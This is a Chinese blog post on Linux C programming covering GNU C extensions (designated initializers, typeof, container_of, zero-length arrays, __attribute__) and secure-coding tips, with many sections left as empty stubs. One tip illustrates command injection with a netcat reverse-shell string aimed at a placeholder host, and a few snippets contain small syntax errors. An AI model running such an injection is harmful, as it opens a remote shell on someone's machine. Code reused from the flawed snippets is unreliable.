C语言编程

韩乔落

前言

如果你是一个刚开始学C语言的小白,那么这篇文章可能并不十分适合你(但结尾放了几个C语言的中小项目,感兴趣的同学可以跟着看一下),本文主要聚焦于C语言的一些陷阱和缺陷,我的本职工作是二进制安全研究,关于这些缺陷导致的致命问题也写了很多文章(Pwn系列)。本文讨论的主要包括指针问题,C的语法糖,线程安全问题,系统编程问题,建议的编程风格和习惯等内容。这里编程部分以使用为主,如果你想深究其原理请看 《Linux环境编程与内核》以及《Linux内核分析》系列文章。

本文只探讨在Linux环境下的C语言编程。

Linux C 常用库

GNU C 扩展语法

指定初始化


数组初始化

1
int arr[100] = {[10] = 1, [30] = 1};

这样arr[10]arr[30]便被初始化为1,数组内其他元素则是0。通过数组元素索引,我们可以直接给指定的数组元素赋值。除了数组,一个结构体变量的初始化,也可以通过指定某个结构体成员直接赋值。在早期C语言标准不支持指定初始化时,GCC编译器就已经支持指定初始化了,因此这个特性也被看作GCC编译器的一个扩展特性。


范围初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
int arr[100] = {[10 ... 30] = 1, [50 ... 60] = 2};

switch score
{
case 1 ... 5:
puts("???");
break;
case 6 ... 10:
puts("!!!");
break;
default:
break;
}

GNU C支持使用...表示范围扩展,这个特性不仅可以使用在数组初始化中,也可以使用在switch-case语句中。


结构体初始化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct hello_dev {
struct cdev cdev;
unsigned char mem[MAX_SIZE];
} * hello_devp;

static int hello_open(struct inode *id, struct file *filp);
static int hello_releace(struct inode *id, struct file *filp);
static long hello_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static ssize_t hello_read(struct file *filp, char __user *buf, size_t size, loff_t *pos);
static ssize_t hello_write(struct file *filp, const char __user *buf, size_t size, loff_t *pos);
static loff_t hello_llseek(struct file *filp, loff_t offset, int op);

static const struct file_operations hello_fops = {
.owner = THIS_MODULE,
.llseek = hello_llseek,
.read = hello_read,
.write = hello_write,
.unlocked_ioctl = hello_ioctl,
.open = hello_open,
.release = hello_releace,
};

在Linux内核驱动中,大量使用GNU C的这种指定初始化方式,通过结构体成员来初始化结构体变量。如在字符驱动程序中,我们经常见到这样的初始化。在驱动程序中,我们经常使用file_operations这个结构体来注册我们开发的驱动,然后系统会以回调的方式来执行驱动实现的具体功能。

语句表达式


GNU C对C语言标准作了扩展,允许在一个表达式里内嵌语句,允许在表达式内部使用局部变量、for循环和goto跳转语句。这种类型的表达式,我们称为语句表达式。语句表达式的格式如下。

1
({a; b; c;})

语句表达式最外面使用小括号()括起来,里面一对大括号{}包起来的是代码块,代码块里允许内嵌各种语句。语句的格式可以是一般表达式,也可以是循环、跳转语句。和一般表达式一样,语句表达式也有自己的值。语句表达式的值为内嵌语句中最后一个表达式的值。我们举个例子,使用语句表达式求值。

1
2
3
4
5
int sum = ({
int i;
for(i = 0; i < 10; ++i);
i;
})

最后 sum = 10;


宏定义中的语句表达式


1
2
3
4
5
#define MAX(x, y) ({     \
typeof(x) _x = (x); \
typeof(y) _y = (y); \
(void) (&_x == &_y); \
_x > _y ? _x : _y;})

比较难理解的是(void)(&x==&y);这句话,看起来很多余,仔细分析一下,你会发现这条语句很有意思。它的作用有两个:一是用来给用户提示一个警告,对于不同类型的指针比较,编译器会发出一个警告,提示两种数据的类型不同。二是两个数进行比较运算,运算的结果却没有用到,有些编译器可能会给出一个warning,加一个(void)后,就可以消除这个警告。


typeof与container_of宏

内核中的定义


typeof

1
2
3
4
5
6
7
typeof (int*) y // int *y;

int z = 4;
int *x = z;
typeof (*x) y // int y;

typeof(typeof(char*)[4]) y //char *y[4]

GNU C扩展了一个关键字typeof,用来获取一个变量或表达式的类型。这里使用关键字可能不太合适,因为毕竟typeof现在还没有被纳入C标准,是GCC扩展的一个关键字。为了表述方便,我们就姑且把它叫作关键字吧。使用typeof可以获取一个变量或表达式的类型。typeof的参数有两种形式:表达式或类型。


container_of

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include<stdio.h>
#include<stdlib.h>
#include<stddef.h> //这个库包含了offsetof的定义

#ifndef offsetof
// 获取结构体成员偏移,因为常量指针的值为0,即可以看作结构体首地址为0
#define offsetof(TYPE,MEMBER)((size_t)&((TYPE *)0)->MEMBER)
#endif
/*ptr 成员指针
* type 结构体 比如struct Stu
* member 成员变量,跟指针对应
* */
// 最后一句的意义就是,取结构体某个成员member的地址,减去这个成员在结构体type中的偏移,运算结果就是结构体type的首地址
#define container_of(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (const typeof( ((type *)0)->member ) *)(ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})

struct student
{
int num;
int id;
int score;
};


int main()
{
struct student stu = {
.num = 1,
.id = 12345,
.score = 90,
};
printf("%p %p %p\n", &stu.id, &stu, container_of(&stu.id, struct student, id));
return 0;
}

这个宏在Linux内核中应用甚广,会不会用这个宏,看不看得懂这个宏,也逐渐成为考察一个内核驱动开发者的C语言功底的不成文标准。它的主要作用就是,根据结构体某一成员的地址,获取这个结构体的首地址。


零长数组


Linux kernel 中的零长数组

零长度数组不占用内存存储空间。零长度数组一般单独使用的机会很少,它常常作为结构体的一个成员,构成一个变长结构体。在网卡驱动中,大家可能都比较熟悉一个名字:套接字缓冲区,即Socket Buffer,用来传输网络数据包。同样,在USB驱动中,也有一个类似的东西,叫作URB,其全名为USB Request Block,即USB请求块,用来传输USB数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct urb 
{
/* private: usb core and host controller only fields in the urb */
struct kref kref; /* reference count of the URB */
int unlinked; /* unlink error code */
void *hcpriv; /* private data for host controller */
atomic_t use_count; /* concurrent submissions counter */
atomic_t reject; /* submissions will fail */

/* public: documented fields in the urb that can be used by drivers */
struct list_head urb_list; /* list head for use by the urb's
* current owner */
struct list_head anchor_list; /* the URB may be anchored */
struct usb_anchor *anchor;
struct usb_device *dev; /* (in) pointer to associated device */
struct usb_host_endpoint *ep; /* (internal) pointer to endpoint */
unsigned int pipe; /* (in) pipe information */
unsigned int stream_id; /* (in) stream ID */
int status; /* (return) non-ISO status */
unsigned int transfer_flags; /* (in) URB_SHORT_NOT_OK | ...*/
void *transfer_buffer; /* (in) associated data buffer */
dma_addr_t transfer_dma; /* (in) dma addr for transfer_buffer */
struct scatterlist *sg; /* (in) scatter gather buffer list */
int num_mapped_sgs; /* (internal) mapped sg entries */
int num_sgs; /* (in) number of entries in the sg list */
u32 transfer_buffer_length; /* (in) data buffer length */
u32 actual_length; /* (return) actual transfer length */
unsigned char *setup_packet; /* (in) setup packet (control only) */
dma_addr_t setup_dma; /* (in) dma addr for setup_packet */
int start_frame; /* (modify) start frame (ISO) */
int number_of_packets; /* (in) number of ISO packets */
int interval; /* (modify) transfer interval
* (INT/ISO) */
int error_count; /* (return) number of ISO errors */
void *context; /* (in) context for completion */
usb_complete_t complete; /* (in) completion routine */
struct usb_iso_packet_descriptor iso_frame_desc[0];
/* (in) ISO ONLY */
};

在URB结构体的最后定义一个零长度数组,主要用于USB的同步传输。USB有4种传输模式:中断传输、控制传输、批量传输和同步传输。不同的USB设备对传输速度、传输数据安全性的要求不同,所采用的传输模式也不同。USB摄像头对视频或图像的传输实时性要求较高,对数据的丢帧不是很在意,丢一帧无所谓,接着往下传就可以了。所以USB摄像头采用的是USB同步传输模式。USB摄像头一般会支持多种分辨率,从16*16到高清720P多种格式。不同分辨率的视频传输,一帧图像数据的大小是不一样的,对USB传输数据包的大小和个数需求是不一样的。那么USB到底该如何设计,才能在不影响USB其他传输模式的前提下,适配这种不同大小的数据传输需求呢?答案就在结构体内的这个零长度数组上。

当用户设置不同分辨率的视频格式时,USB就使用不同大小和个数的数据包来传输一帧视频数据。通过零长度数组构成的这个变长结构体就可以满足这个要求。USB驱动可以根据一帧图像数据的大小,灵活地申请内存空间,以满足不同大小的数据传输。而且这个零长度数组又不占用结构体的存储空间。当USB使用其他模式传输时,不受任何影响,完全可以当这个零长度数组不存在。


指针和零长数组

数组名和指针并不是一回事,数组名虽然在作为函数参数时,可以当作一个地址使用,但是两者不能画等号。变长结构体为什么不用指针?,原因很简单。如果使用指针,指针本身占用存储空间不说,根据上面的USB驱动的案例分析,你会发现,它远远没有零长度数组用得巧妙:零长度数组不会对结构体定义造成冗余,而且使用起来很方便。

属性声明


__attribute__

GNU C增加了一个__attribute__关键字用来声明一个函数、变量或类型的特殊属性。声明这个特殊属性有什么用呢?主要用途就是指导编译器在编译程序时进行特定方面的优化或代码检查。例如,我们可以通过属性声明来指定某个变量的数据对齐方式。__attribute__的使用非常简单,当我们定义一个函数、变量或类型时,直接在它们名字旁边添加下面的属性声明即可。

1
__attribute__((attribute))

需要注意的是,__attribute__后面是两对小括号,不能图方便只写一对,否则编译就会报错。括号里面的ATTRIBUTE表示要声明的属性。目前__attribute__支持十几种属性声明。

函数属性(Function Attribute) 类型属性(Type Attributes) 变量属性(Variable Attribute) Clang特有的
noreturn aligned alias availability
noinline packed at(address) overloadable
always_inline bitband aligned
flatten deprecated
pure noinline
const packed
constructor weak
destructor weakref(“target”)
sentinel section(“name”)
format unused
format_arg used
section visibility(“visibility_type”)
used zero_init
unused
deprecated
weak
malloc
alias
warn_unused_result
nonnull
nothrow (不抛出C++ 异常)

常用如下:

  1. aligned(n):指定变量的对齐方式,n表示对齐字节数。
  2. packed:指定结构体或联合体的成员按照1字节对齐。
  3. section(“name”):指定变量或函数所在的段名。
  4. unused:告诉编译器该变量或函数未被使用,避免编译器产生警告。
  5. deprecated:告诉编译器该变量或函数已经过时,避免编译器产生警告。
  6. noreturn:告诉编译器该函数不会返回,避免编译器产生警告。
  7. format:指定函数的参数格式,用于检查printf和scanf等函数的参数类型。
  8. constructor:指定函数为构造函数,在程序启动时自动执行。
  9. destructor:指定函数为析构函数,在程序结束时自动执行。

section

section属性的主要作用是:在程序编译时,将一个函数或变量放到指定的段,即放到指定的section中。一个可执行文件主要由代码段、数据段、BSS段构成。代码段主要存放编译生成的可执行指令代码,数据段和BSS段用来存放全局变量、未初始化的全局变量。代码段、数据段和BSS段构成了一个可执行文件的主要部分。除了这三个段,可执行文件中还包含其他一些段。用编译器的专业术语讲,还包含其他一些section,如只读数据段、符号表等。我们可以使用__attribute__来声明一个section属性,显式指定一个函数或变量,在编译时放到指定的section里面。通过上面的程序我们知道,未初始化的全局变量默认是放在.bss section中的,即默认放在BSS段中。现在我们就可以通过section属性声明,把这个未初始化的全局变量放到数据段.data中。

1
2
int global_val 8;
int uninit_val __attribute__((section(".data")));

aligned

GNU C通过__attribute__来声明aligned和packed属性,指定一个变量或类型的对齐方式。这两个属性用来告诉编译器:在给变量分配存储空间时,要按指定的地址对齐方式给变量分配地址。

内联函数

内建函数

可变参数宏

现代 C 语言

c99

c11

c17

c23

c23新特性

线程安全

异步编程

网络编程

无锁编程

异步信号安全

详见《Linux环境编程与内核之信号》。

代码和行为规范问题

这里并不能罗列所有问题和规范,还需经验总结和习惯。我以安全的视角来提醒一些程序员注意自己的代码规范问题。还有一些内容在其他文章里面。

0. 把右值放在条件判断的左边

1
2
3
4
5
6
7
8
9
10
11
int do_leap(const int y)
{
if((0 == y %4 && 0 != y % 100) || 0 == y % 400)
{
return 1;
}
else
{
return 0;
}
}

这样做的好处是在大型的项目中,不小心把==写成=编译就会报错。否则编译不会出错但是会有警告,对于一些轻视警告的程序员来说这样的bug调试起来是十分费力的。

1. 重视一切警告和单元测试

2. 把不希望被意外改变的变量传参时把形参定义为 const

3. 对字符串操作时使用带’n’的函数,即有长度限制的函数(避免溢内存出漏洞)

4. 不要直接将字符串指针放在格式化字符串函数中(避免格式化字符串漏洞)

5. 对于IO函数的选取,也要限制读取长度,并且不要超过栈/堆上变量大小(避免内存溢出漏洞)

6. 不要使用gets, strcpy, sprintf, memcpy, strcat等危险函数(容易导致内存溢出漏洞)

7. 使用 systemexec 家族的函数 和 popn 等命令执行函数时,要过滤所有可能导致命令注入的字符串 “&” “$” “|” “&&” “||” “;” “!” “ `” 等潜在的命令注入字符。eg. system(“you_code; nc x.x.x.x xxxx -e sh;”)

8. 编译时加 -Wall 并且不要忽视任何警告信息

9. 不要忽略任何一次小的单元测试

10. 当不能使用简单点循环解决问题,再考虑递归函数,否则程序开销会很大

11. 循环数组时,数组的大小要用宏定义定义好,或者使用sizeof来计算数组的大小,这样修改数组的大小

12. 不要使用glibc的signal函数,它的历史负担太重,不同glibc版本和操作系统版本实现可能不同,语义模糊。Linux给出了语义更加精确的sigaction。

C 语言项目

学之前可以先看一下博客中《数据结构与算法》这篇文章。

线程池

进程池

内存池

协程

  • Title: C语言编程
  • Author: 韩乔落
  • Created at : 2025-01-23 14:44:14
  • Updated at : 2025-02-17 11:39:04
  • Link: https://jelasin.github.io/2025/01/23/C语言编程/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments